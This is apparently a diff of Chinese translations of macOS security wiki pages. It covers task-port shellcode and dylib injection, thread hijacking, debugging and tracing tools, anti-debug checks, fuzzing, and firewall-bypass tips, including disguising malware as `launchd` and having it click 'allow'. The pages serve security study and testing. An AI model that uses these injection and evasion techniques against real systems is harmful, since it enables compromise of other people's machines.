- 调用 `mach_task_self()` 来 **获取** 调用任务的端口名称。这个端口仅在 **`exec()`** 之间 **继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在 suid 二进制文件中 `exec()` 后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行 ["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
|
||||
- 访问端口的限制(来自二进制文件 `AppleMobileFileIntegrity` 的 `macos_task_policy`):
|
||||
- 如果应用具有 **`com.apple.security.get-task-allow` 权限**,来自 **同一用户** 的进程可以访问任务端口(通常由 Xcode 为调试添加)。**公证** 过程不允许其用于生产版本。
|
||||
- 具有 **`com.apple.system-task-ports`** 权限的应用可以获取 **任何** 进程的 **任务端口**,除了内核。在旧版本中称为 **`task_for_pid-allow`**。这仅授予 Apple 应用。
|
||||
- **Root 可以访问未** 使用 **加固** 运行时编译的应用程序的任务端口(且不是来自 Apple)。
|
||||
- 调用 `mach_task_self()` 来**获取**调用者任务的端口名称。此端口仅在**`exec()`**中**继承**;通过 `fork()` 创建的新任务会获得一个新的任务端口(作为特例,任务在suid二进制文件的`exec()`后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行 `fork()` 时进行["端口交换舞"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)。
|
||||
- 访问端口的限制如下(来自二进制文件 `AppleMobileFileIntegrity` 的 `macos_task_policy`):
|
||||
- 如果应用具有**`com.apple.security.get-task-allow` 权限**,则来自**同一用户的进程可以访问任务端口**(通常由Xcode在调试时添加)。**公证**过程不允许其用于生产版本。
|
||||
- 具有**`com.apple.system-task-ports`** 权限的应用可以获取**任何**进程的**任务端口**,除了内核。在旧版本中称为**`task_for_pid-allow`**。这仅授予Apple应用。
|
||||
- **Root可以访问未使用** **加固** 运行时编译的应用程序的任务端口(并且不是来自Apple)。
|
||||
|
||||
### 通过任务端口在线程中注入 Shellcode
|
||||
### 通过任务端口在线程中注入Shellcode
|
||||
|
||||
您可以从以下位置获取Shellcode:
|
||||
|
||||
您可以从以下位置获取 shellcode:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
@ -292,7 +293,7 @@ return 0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果没有,您将需要使用**sudo**)。
|
||||
**编译**之前的程序并添加**权限**以便能够以相同用户注入代码(如果不这样做,您将需要使用**sudo**)。
|
||||
|
||||
<details>
|
||||
|
||||
@ -504,9 +505,9 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
能够**注入一个简单的shellcode**来执行命令是因为它**不需要与posix**兼容的api,只需与Mach兼容。**更复杂的注入**将需要**线程**也**符合posix标准**。
|
||||
|
||||
因此,为了**改进线程**,它应该调用**`pthread_create_from_mach_thread`**,这将**创建一个有效的pthread**。然后,这个新的pthread可以**调用dlopen**来**从系统加载一个dylib**,因此不必编写新的shellcode来执行不同的操作,而是可以加载自定义库。
|
||||
因此,为了**改进线程**,它应该调用**`pthread_create_from_mach_thread`**,这将**创建一个有效的pthread**。然后,这个新的pthread可以**调用dlopen**来**从系统加载一个dylib**,因此不需要编写新的shellcode来执行不同的操作,而是可以加载自定义库。
|
||||
|
||||
您可以在(例如生成日志然后您可以监听的那个)找到**示例dylibs**:
|
||||
您可以在以下位置找到**示例dylibs**(例如,生成日志的那个,然后您可以监听它):
|
||||
|
||||
{{#ref}}
|
||||
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
@ -790,7 +791,7 @@ fprintf(stderr,"Dylib not found\n");
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### 通过任务端口的线程劫持 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
### 通过任务端口进行线程劫持 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
在此技术中,进程的一个线程被劫持:
|
||||
|
||||
@ -802,7 +803,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
|
||||
### 基本信息
|
||||
|
||||
XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macOS 和 iOS 上进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上进行 **安全的、异步的方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制被攻陷进程可能造成的损害。
|
||||
XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macOS 和 iOS 上进程之间通信** 的框架。XPC 提供了一种机制,用于在系统上进行 **安全的异步方法调用**。它是苹果安全范式的一部分,允许 **创建特权分离的应用程序**,每个 **组件** 仅以 **执行其工作所需的权限** 运行,从而限制被攻陷进程可能造成的损害。
|
||||
|
||||
有关此 **通信如何工作** 以及 **可能存在的漏洞** 的更多信息,请查看:
|
||||
|
||||
@ -812,7 +813,7 @@ XPC,即 XNU(macOS 使用的内核)进程间通信,是一个用于 **macO
|
||||
|
||||
## MIG - Mach 接口生成器
|
||||
|
||||
MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码很丑,开发人员只需导入它,其代码将比之前简单得多。
|
||||
MIG 的创建旨在 **简化 Mach IPC** 代码的生成过程。它基本上 **生成所需的代码** 以便服务器和客户端根据给定定义进行通信。即使生成的代码不美观,开发人员只需导入它,其代码将比之前简单得多。
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
|
||||
@ -52,7 +52,7 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
> [!CAUTION] > **jtool 已被 disarm 取代**
|
||||
|
||||
### Codesign / ldid
|
||||
### 代码签名 / ldid
|
||||
|
||||
> [!TIP] > **`Codesign`** 可以在 **macOS** 中找到,而 **`ldid`** 可以在 **iOS** 中找到
|
||||
```bash
|
||||
@ -105,7 +105,7 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
### 元数据
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,用 Objective-C 编写的程序在编译成 [Mach-O 二进制文件](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) 时 **保留** 其类声明。这样的类声明 **包括**:
|
||||
> 请注意,用 Objective-C 编写的程序在编译成 [Mach-O 二进制文件](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md) 时 **保留** 其类声明。这些类声明 **包括**:
|
||||
|
||||
- 定义的接口
|
||||
- 接口方法
|
||||
@ -122,8 +122,8 @@ hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
|
||||
该函数期望的参数为:
|
||||
|
||||
- 第一个参数 (**self**) 是 "指向 **接收消息的类实例的指针**"。更简单地说,它是方法被调用的对象。如果方法是类方法,这将是类对象的一个实例(作为整体),而对于实例方法,self 将指向类的一个实例化对象。
|
||||
- 第二个参数 (**op**) 是 "处理消息的方法选择器"。同样,更简单地说,这只是 **方法的名称**。
|
||||
- 第一个参数 (**self**) 是 "指向 **接收消息的类实例的指针**"。更简单地说,它是正在调用该方法的对象。如果该方法是类方法,则这是类对象的一个实例(作为整体),而对于实例方法,self 将指向类的一个实例化对象。
|
||||
- 第二个参数 (**op**) 是 "处理消息的方法的选择器"。同样,更简单地说,这只是 **方法的名称**。
|
||||
- 剩余的参数是方法所需的任何 **值** (op)。
|
||||
|
||||
请参见如何在此页面中 **使用 `lldb` 在 ARM64 中轻松获取此信息**:
|
||||
@ -136,7 +136,7 @@ x64:
|
||||
|
||||
| **参数** | **寄存器** | **(对于) objc_msgSend** |
|
||||
| ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
|
||||
| **第一个参数** | **rdi** | **self: 方法被调用的对象** |
|
||||
| **第一个参数** | **rdi** | **self: 正在调用该方法的对象** |
|
||||
| **第二个参数** | **rsi** | **op: 方法的名称** |
|
||||
| **第三个参数** | **rdx** | **方法的第一个参数** |
|
||||
| **第四个参数** | **rcx** | **方法的第二个参数** |
|
||||
@ -162,9 +162,9 @@ objdump --macho --objc-meta-data /path/to/bin
|
||||
```
|
||||
#### class-dump
|
||||
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具,用于生成 ObjetiveC 格式代码中类、类别和协议的声明。
|
||||
[**class-dump**](https://github.com/nygard/class-dump/) 是一个原始工具,用于生成 ObjetiveC 格式代码中的类、类别和协议的声明。
|
||||
|
||||
它已经过时且未维护,因此可能无法正常工作。
|
||||
它已经很旧且未维护,因此可能无法正常工作。
|
||||
|
||||
#### ICDump
|
||||
|
||||
@ -193,7 +193,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
||||
```
|
||||
您可以在[**此博客文章中找到有关这些部分存储的信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
|
||||
|
||||
此外,**Swift 二进制文件可能具有符号**(例如,库需要存储符号以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称:
|
||||
此外,**Swift 二进制文件可能包含符号**(例如,库需要存储符号以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
@ -204,7 +204,7 @@ swift demangle
|
||||
## 动态分析
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并使用 `codesign --remove-signature <binary-path>` **移除签名**,或者允许调试该二进制文件(您可以使用 [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))
|
||||
> 请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并**移除签名**(使用 `codesign --remove-signature <binary-path>`),或者允许调试该二进制文件(您可以使用 [this script](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,为了在 macOS 上**插桩系统二进制文件**(例如 `cloudconfigurationd`),**必须禁用 SIP**(仅移除签名是无效的)。
|
||||
@ -218,13 +218,13 @@ macOS 暴露了一些有趣的 API,提供有关进程的信息:
|
||||
|
||||
### Stackshot & microstackshots
|
||||
|
||||
**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用栈。这对于调试、性能分析以及在特定时间点理解系统行为特别有用。在 iOS 和 macOS 上,可以使用多种工具和方法进行 stackshotting,例如工具 **`sample`** 和 **`spindump`**。
|
||||
**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用栈。这对于调试、性能分析以及理解系统在特定时间点的行为特别有用。在 iOS 和 macOS 上,可以使用多种工具和方法进行 stackshotting,例如工具 **`sample`** 和 **`spindump`**。
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,如 `ps`、`zprint`...
|
||||
该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,例如 `ps`、`zprint`...
|
||||
|
||||
它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,例如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
|
||||
其 plist 位于 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`,声明了 3 个 MachServices:
|
||||
|
||||
@ -246,7 +246,7 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什
|
||||
|
||||
#### 中间面板
|
||||
|
||||
在中间面板中,您可以看到**反汇编代码**。您可以以**原始**反汇编、**图形**、**反编译**和**二进制**的形式查看,点击相应的图标:
|
||||
在中间面板中,您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**,通过点击相应的图标:
|
||||
|
||||
<figure><img src="../../../images/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -258,20 +258,20 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什
|
||||
|
||||
#### 右侧面板
|
||||
|
||||
在右侧面板中,您可以看到有趣的信息,如**导航历史**(以便您知道如何到达当前状态)、**调用图**,您可以看到所有**调用此函数的函数**和所有**此函数调用的函数**,以及**局部变量**信息。
|
||||
在右侧面板中,您可以看到有趣的信息,例如**导航历史**(以便您知道如何到达当前情况)、**调用图**,您可以看到所有**调用此函数的函数**以及所有**此函数调用的函数**,以及**局部变量**信息。
|
||||
|
||||
### dtrace
|
||||
|
||||
它允许用户以极低的**级别**访问应用程序,并提供了一种方法,让用户**跟踪** **程序**,甚至更改其执行流程。Dtrace 使用**探针**,这些探针**分布在内核中**,位于系统调用的开始和结束位置。
|
||||
|
||||
DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在**每个系统调用的入口和出口**触发。与 DTrace 的交互通过 /dev/dtrace 进行,该接口仅对 root 用户可用。
|
||||
DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在**每个系统调用的入口和出口点**触发。与 DTrace 的交互通过 /dev/dtrace 进行,该接口仅对 root 用户可用。
|
||||
|
||||
> [!TIP]
|
||||
> 要在不完全禁用 SIP 保护的情况下启用 Dtrace,您可以在恢复模式下执行:`csrutil enable --without dtrace`
|
||||
>
|
||||
> 您还可以使用您**编译的** **`dtrace`** 或 **`dtruss`** 二进制文件。
|
||||
|
||||
dtrace 的可用探针可以通过以下方式获取:
|
||||
可以通过以下命令获取 dtrace 的可用探针:
|
||||
```bash
|
||||
dtrace -l | head
|
||||
ID PROVIDER MODULE FUNCTION NAME
|
||||
@ -357,11 +357,11 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
|
||||
为了获取这些信息,可以使用 Apple 工具 **`trace`** 或自定义工具 [kDebugView (kdv)](https://newosxbook.com/tools/kdv.html)**。**
|
||||
|
||||
**注意,Kdebug 每次只能为一个客户提供服务。** 因此,只有一个 k-debug 驱动的工具可以同时执行。
|
||||
**注意,Kdebug 仅对一个客户可用。** 因此,只有一个 k-debug 驱动的工具可以同时执行。
|
||||
|
||||
### ktrace
|
||||
|
||||
`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端可以调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 在特定代码上设置回调,然后使用 `ktrace_start` 启动它。
|
||||
`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端可以直接调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 在特定代码上设置回调,然后使用 `ktrace_start` 启动它。
|
||||
|
||||
即使在 **SIP 激活** 的情况下也可以使用这个。
|
||||
|
||||
@ -369,7 +369,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
||||
```bash
|
||||
ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
```
|
||||
或 `tailspin`。
|
||||
Or `tailspin`.
|
||||
|
||||
### kperf
|
||||
|
||||
@ -379,7 +379,7 @@ ktrace trace -s -S -t c -c ls | grep "ls("
|
||||
|
||||
Kperf 还有一个 sysctl MIB 表: (作为 root) `sysctl kperf`。这些代码可以在 `osfmk/kperf/kperfbsd.c` 中找到。
|
||||
|
||||
此外,Kperf 的一部分功能位于 `kpc` 中,它提供有关机器性能计数器的信息。
|
||||
此外,Kperf 的一部分功能位于 `kpc` 中,提供有关机器性能计数器的信息。
|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
@ -398,7 +398,7 @@ Kperf 还有一个 sysctl MIB 表: (作为 root) `sysctl kperf`。这些代码
|
||||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个 GUI 工具,外观和感觉与 Windows 用户可能熟悉的 Microsoft Sysinternal 的 _Procmon_ 相似。此工具允许开始和停止各种事件类型的录制,允许按文件、进程、网络等类别过滤这些事件,并提供以 json 格式保存录制事件的功能。
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个 GUI 工具,外观和感觉与 Windows 用户可能熟悉的 Microsoft Sysinternal 的 _Procmon_ 相似。此工具允许开始和停止各种事件类型的记录,允许按文件、进程、网络等类别过滤这些事件,并提供以 json 格式保存记录事件的功能。
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
@ -416,11 +416,11 @@ fs_usage -w -f network curl #This tracks network actions
|
||||
### TaskExplorer
|
||||
|
||||
[**Taskexplorer**](https://objective-see.com/products/taskexplorer.html) 是一个有用的工具,可以查看二进制文件使用的 **libraries**、它正在使用的 **files** 和 **network** 连接。\
|
||||
它还会将二进制进程与 **virustotal** 进行检查,并显示有关该二进制文件的信息。
|
||||
它还会检查二进制进程与 **virustotal** 的对比,并显示有关该二进制文件的信息。
|
||||
|
||||
## PT_DENY_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
在 [**这篇博客文章**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) 中,您可以找到一个关于如何 **调试一个正在运行的守护进程** 的示例,该守护进程使用 **`PT_DENY_ATTACH`** 来防止调试,即使 SIP 被禁用。
|
||||
在 [**这篇博客文章**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) 中,你可以找到一个关于如何 **debug a running daemon** 的示例,该守护进程使用 **`PT_DENY_ATTACH`** 来防止调试,即使 SIP 被禁用。
|
||||
|
||||
### lldb
|
||||
|
||||
@ -438,10 +438,10 @@ settings set target.x86-disassembly-flavor intel
|
||||
> [!WARNING]
|
||||
> 在 lldb 中,使用 `process save-core` 转储进程
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 命令</strong></td><td><strong>描述</strong></td></tr><tr><td><strong>run (r)</strong></td><td>开始执行,直到命中断点或进程终止。</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>在入口点停止执行</td></tr><tr><td><strong>continue (c)</strong></td><td>继续调试的进程的执行。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>执行下一条指令。此命令将跳过函数调用。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>执行下一条指令。与 nexti 命令不同,此命令将进入函数调用。</td></tr><tr><td><strong>finish (f)</strong></td><td>执行当前函数(“帧”)中的其余指令,返回并停止。</td></tr><tr><td><strong>control + c</strong></td><td>暂停执行。如果进程已运行 (r) 或继续 (c),这将导致进程在当前执行位置停止。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #任何名为 main 的函数</p><p><code>b <binname>`main</code> #二进制文件的主函数</p><p><code>b set -n main --shlib <lib_name></code> #指定二进制文件的主函数</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #任何 NSFileManager 方法</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # 在该库的所有函数中断</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #断点列表</p><p><code>br e/dis <num></code> #启用/禁用断点</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>将内存显示为以 null 结尾的字符串。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>将内存显示为汇编指令。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>将内存显示为字节。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>这将打印由参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>请注意,Apple 的大多数 Objective-C API 或方法返回对象,因此应通过“打印对象”(po)命令显示。如果 po 没有产生有意义的输出,请使用 <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在地址中写入 AAAA</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #反汇编当前函数</p><p>dis -n <funcname> #反汇编函数</p><p>dis -n <funcname> -b <basename> #反汇编函数<br>dis -c 6 #反汇编 6 行<br>dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址<br>dis -p -c 4 # 从当前地址开始反汇编</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # 检查 x1 寄存器中 3 个组件的数组</td></tr><tr><td><strong>image dump sections</strong></td><td>打印当前进程内存的映射</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #获取 CoreNLP 的所有符号的地址</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 命令</strong></td><td><strong>描述</strong></td></tr><tr><td><strong>run (r)</strong></td><td>开始执行,直到命中断点或进程终止。</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>在入口点停止执行</td></tr><tr><td><strong>continue (c)</strong></td><td>继续调试进程的执行。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>执行下一条指令。此命令将跳过函数调用。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>执行下一条指令。与 nexti 命令不同,此命令将进入函数调用。</td></tr><tr><td><strong>finish (f)</strong></td><td>执行当前函数(“帧”)中的其余指令,返回并停止。</td></tr><tr><td><strong>control + c</strong></td><td>暂停执行。如果进程已运行 (r) 或继续 (c),这将导致进程在当前执行位置停止。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #任何名为 main 的函数</p><p><code>b <binname>`main</code> #二进制文件的主函数</p><p><code>b set -n main --shlib <lib_name></code> #指定二进制文件的主函数</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #任何 NSFileManager 方法</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # 在该库的所有函数中断</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #断点列表</p><p><code>br e/dis <num></code> #启用/禁用断点</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>将内存显示为以 null 结尾的字符串。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>将内存显示为汇编指令。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>将内存显示为字节。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>这将打印由参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>请注意,Apple 的大多数 Objective-C API 或方法返回对象,因此应通过“打印对象”(po)命令显示。如果 po 没有产生有意义的输出,请使用 <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入 AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在地址中写入 AAAA</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #反汇编当前函数</p><p>dis -n <funcname> #反汇编函数</p><p>dis -n <funcname> -b <basename> #反汇编函数<br>dis -c 6 #反汇编 6 行<br>dis -c 0x100003764 -e 0x100003768 # 从一个地址到另一个地址<br>dis -p -c 4 # 从当前地址开始反汇编</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # 检查 x1 寄存器中的 3 个组件的数组</td></tr><tr><td><strong>image dump sections</strong></td><td>打印当前进程内存的映射</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #获取 CoreNLP 的所有符号的地址</td></tr></tbody></table>
|
||||
|
||||
> [!NOTE]
|
||||
> 调用 **`objc_sendMsg`** 函数时,**rsi** 寄存器保存方法的 **名称**,以 null 结尾的(“C”)字符串。要通过 lldb 打印名称,请执行:
|
||||
> [!TIP]
|
||||
> 调用 **`objc_sendMsg`** 函数时,**rsi** 寄存器保存方法的名称,作为以 null 结尾的(“C”)字符串。要通过 lldb 打印名称,请执行:
|
||||
>
|
||||
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
>
|
||||
@ -456,11 +456,11 @@ settings set target.x86-disassembly-flavor intel
|
||||
|
||||
- 命令 **`sysctl hw.model`** 在 **主机为 MacOS** 时返回 "Mac",但在虚拟机中返回不同的内容。
|
||||
- 一些恶意软件通过玩弄 **`hw.logicalcpu`** 和 **`hw.physicalcpu`** 的值来检测是否为虚拟机。
|
||||
- 一些恶意软件还可以根据 MAC 地址(00:50:56)**检测**机器是否基于 **VMware**。
|
||||
- 一些恶意软件还可以根据 MAC 地址(00:50:56)**检测** 机器是否基于 **VMware**。
|
||||
- 也可以通过简单的代码检查 **进程是否正在被调试**:
|
||||
- `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //进程正在被调试 }`
|
||||
- 它还可以调用 **`ptrace`** 系统调用,使用 **`PT_DENY_ATTACH`** 标志。这 **防止** 调试器附加和跟踪。
|
||||
- 您可以检查 **`sysctl`** 或 **`ptrace`** 函数是否被 **导入**(但恶意软件可以动态导入它)
|
||||
- 您可以检查 **`sysctl`** 或 **`ptrace`** 函数是否被 **导入**(但恶意软件可能会动态导入它)
|
||||
- 正如在这篇文章中所述,“[击败反调试技术:macOS ptrace 变体](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
|
||||
“_消息 Process # exited with **status = 45 (0x0000002d)** 通常是调试目标使用 **PT_DENY_ATTACH** 的明显迹象_”
|
||||
|
||||
@ -472,7 +472,7 @@ settings set target.x86-disassembly-flavor intel
|
||||
- 如果进程不是 suid/sgid 或 `kern.sugid_coredump` 为 1(默认值为 0)
|
||||
- `AS_CORE` 限制允许该操作。可以通过调用 `ulimit -c 0` 来抑制核心转储的创建,并通过 `ulimit -c unlimited` 重新启用它们。
|
||||
|
||||
在这些情况下,核心转储根据 `kern.corefile` sysctl 生成,并通常存储在 `/cores/core/.%P` 中。
|
||||
在这些情况下,核心转储根据 `kern.corefile` sysctl 生成,通常存储在 `/cores/core/.%P` 中。
|
||||
|
||||
## 模糊测试
|
||||
|
||||
@ -528,7 +528,7 @@ dtrace -n 'syscall::recv*:entry { printf("-> %s (pid=%d)", execname, pid); }' >>
|
||||
sort -u recv.log > procs.txt
|
||||
cat procs.txt
|
||||
```
|
||||
或使用 `netstat` 或 `lsof`
|
||||
或者使用 `netstat` 或 `lsof`
|
||||
|
||||
### Libgmalloc
|
||||
|
||||
@ -544,7 +544,7 @@ lldb -o "target create `which some-binary`" -o "settings set target.env-vars DYL
|
||||
|
||||
#### [Litefuzz](https://github.com/sec-tools/litefuzz)
|
||||
|
||||
它“**可以正常工作**”与macOS GUI工具。注意一些macOS应用程序有一些特定要求,比如唯一的文件名、正确的扩展名,需要从沙盒中读取文件(`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
它“**可以正常工作**”与macOS GUI工具。注意一些macOS应用程序有一些特定要求,如唯一的文件名、正确的扩展名,需要从沙盒中读取文件(`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
一些示例:
|
||||
```bash
|
||||
@ -570,7 +570,7 @@ litefuzz -lk -c "smbutil view smb://localhost:4455" -a tcp://localhost:4455 -i i
|
||||
# screensharingd (using pcap capture)
|
||||
litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash screensharingd -p -n 100000
|
||||
```
|
||||
### 更多 Fuzzing MacOS 信息
|
||||
### 更多模糊测试 MacOS 信息
|
||||
|
||||
- [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
- [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
|
||||
@ -8,23 +8,23 @@
|
||||
|
||||
### 滥用白名单名称
|
||||
|
||||
- 例如,使用知名 macOS 进程的名称调用恶意软件,如 **`launchd`**
|
||||
- 例如,使用 **`launchd`** 等知名 macOS 进程的名称调用恶意软件。
|
||||
|
||||
### 合成点击
|
||||
|
||||
- 如果防火墙要求用户授权,让恶意软件 **点击允许**
|
||||
- 如果防火墙要求用户授权,让恶意软件 **点击允许**。
